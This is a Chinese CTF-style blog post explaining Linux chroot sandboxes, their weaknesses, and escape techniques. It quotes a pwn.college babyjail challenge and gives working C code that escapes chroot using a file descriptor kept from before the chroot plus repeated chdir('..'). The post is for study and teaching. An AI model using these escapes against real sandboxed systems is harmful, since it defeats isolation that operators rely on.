目录

  1. 1. 前言
  2. 2. chroot
    1. 2.1. 使用
    2. 2.2. 缺点
    3. 2.3. C语言编写chroot sandbox
  3. 3. 逃逸
    1. 3.1. 相对路径逃逸
    2. 3.2. 利用chroot之前打开的目录/文件描述符实现逃逸

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

chroot逃逸

2025/3/2 Pwn
  |     |   总文章阅读量:

前言

参考:

https://wsxk.github.io/sandbox_escape/

http://maskray.me/blog/2011-08-16-break-out-of-chroot

https://xuanxuanblingbling.github.io/ctf/pwn/2019/10/15/sandbox/

https://juejin.cn/post/6844903592466317319

https://arch3rn4r.github.io/2024/09/21/linux%E6%B2%99%E7%AE%B1%E4%B9%8B%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F%E9%9A%94%E7%A6%BB/


chroot

一个传统的沙盒措施

chroot 会修改 / 对于一个进程(包括其子进程)的含义

chroot("/tmp/jail");

会让进程认为 /tmp/jail(操作系统中的)就是自己的 / 目录,并且 /tmp/jail/.. 指向 /tmp/jail

不过实际上这里 chroot 并没有禁止系统调用,也没有其他隔离功能,只是修改了根目录的位置

使用

  1. chroot 系统调用执行时需要 privilege,一般情况下需要 root 权限,所以执行时若不是 root 用户,需要执行 sudo

  2. 被执行的命令或程序,需要在被限制的目录下,如sudo chroot /tmp /bin/bash,这种情况下,在 /tmp/bin 目录中需要有bash文件

    mkdir bin
    cp /bin/bash /tmp/jail/bin
  3. 被执行程序,需要是静态编译好的,否则,需要把动态链接所需的所有库都放入jail当中

    使用 ldd 查看所需的动态链接库,然后依次复制过来

    ldd bin/bash
    mkdir lib64
    mkdir -p lib/x86_64-linux-gnu
    cp /lib64/ld-linux-x86-64.so.2 lib64
    cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/
    cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/
    cp /lib/x86_64-linux-gnu/libtinfo.so.6 lib/x86_64-linux-gnu/

    可以考虑使用 busybox(集成了很多常见的 unix 命令):https://busybox.net/

  4. 进入沙盒

    sudo chroot /tmp/jail /bin/bash

    image-20250302111858416

    执行 exit 可以退出环境

缺点

  1. chroot不会对原本已经开启的文件描述符等系统资源做限制

    int open(char *pathname, int flags);
    int openat(int dirfd, char *pathname, int flags);
    int execve(char *pathname, char **argv, char **envp);
    int execveat(int dirfd, char *pathname, char **argv, char **envp, int flags);

    与 open 和 execve 类似, Linux 还有 openatexecveat 的系统调用

    dirfd 能表示为任何一个打开着的目录文件描述符, 或者是特殊值 AT_FDCWD (在linux代表的是当前工作目录)

    注意: chroot()不会改变当前工作目录

  2. chroot("/tmp/jail") 不能通过cd (chdir()) 来进入jail,需要显式调用 chdir("/")才行

  3. 内核并不会记得程序已经在一个 jail 当中,也就是说,你可以通过再使用一次 chroot("/") 来跳出 jail(当然这要求进程有 CAP_SYS_CHROOT 权限,通常就是 root)

  4. 除非 chroot 被禁用,euid为0(即具备root或suid)的程序可以随时跳出jail

  5. echo $$能打印当前 shell 的进程id,可以开启其他终端来 kill 掉 jail 的运行(echo 是 shell 内建命令)

  6. chroot 不隔离网络,那么可以在 chroot 里下载需要的工具


C语言编写chroot sandbox

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main() {
    char *sandbox_dir = "/tmp/jail";

    // 创建沙盒目录
    if (mkdir(sandbox_dir, 0755) == -1) {
        perror("mkdir");
        exit(EXIT_FAILURE);
    }

    // 设置沙盒根目录
    if (chroot(sandbox_dir) == -1) {
        perror("chroot");
        exit(EXIT_FAILURE);
    }

    // 设置根目录为当前工作目录
    if (chdir("/") == -1) {
        perror("chdir");
        exit(EXIT_FAILURE);
    }

    // 在沙盒中运行命令
    system("/bin/bash");
    return 0;
}

逃逸

相对路径逃逸

chroot是改变了/ 在程序的根目录,这意味着绝对路径的访问会被限制

但是相对路径(这取决于你是在哪个目录下运行程序的)是可以绕过这个机制的。如果程序的当前工作目录没有被改变(即没有调用chdir("/")的话),这个方法大有可为

对于以下sandbox:https://github.com/pwncollege/challenges/blob/master/babyjail/level1/0/babyjail_level1.c

#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/sendfile.h>

int main(int argc, char **argv, char **envp)
{
    assert(argc > 0);

    printf("###\n");
    printf("### Welcome to %s!\n", argv[0]);
    printf("###\n");
    printf("\n");

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 1);

    puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this");
    puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n");
    puts("The only thing you can do in this challenge is read out one single file, as specified by the first argument to the");
    puts("program (argv[1]).\n");

    assert(argc > 1);

    char jail_path[] = "/tmp/jail-XXXXXX";
    assert(mkdtemp(jail_path) != NULL);

    printf("Creating a jail at `%s`.\n", jail_path);

    assert(chroot(jail_path) == 0);

    int fffd = open("/flag", O_WRONLY | O_CREAT);
    write(fffd, "FLAG{FAKE}", 10);
    close(fffd);

    printf("Sending the file at `%s` to stdout.\n", argv[1]);
    sendfile(1, open(argv[1], 0), 0, 128);

}

设置 chroot 路径在 /tmp/jail-XXXXXX,但是没有设置 chdir 工作目录,此时内核中的 CWD 不属于 jail 及其子目录导致存在逃逸

这样子直接用..向上逃逸即可

image-20250302125933636

此时:

1. 真flag 位于 /flag
2. 假flag 位于 /tmp/jail-xxxxxx/flag
3. 程序的当前工作目录是 /tmp/sandbox

利用chroot之前打开的目录/文件描述符实现逃逸

#include <fcntl.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
    int fd = open(".", O_RDONLY), i; // 打开一个 jail 外的文件描述符,可以通过 fd 指向的目录路径访问 chroot 之外的文件
    mkdir("tempdir", 0755);
    if (fd == -1)
        return 1;
    if (chroot("tempdir") == -1)
        return 1; // chroot

    if (fchdir(fd) == -1)
        return 1;              // 脱离
    for (i = 0; i < 1024; i++) // 回到原先的root目录。这里绝对不能使用`/`,只能逐步上移
        chdir("..");
    if (chroot(".") == -1)
        return 1; // 若是特权进程,则可进一步,把root设回去;不是的话也足以访问jail外的文件
    system("ls");
    return 0;
}

image-20250302130009710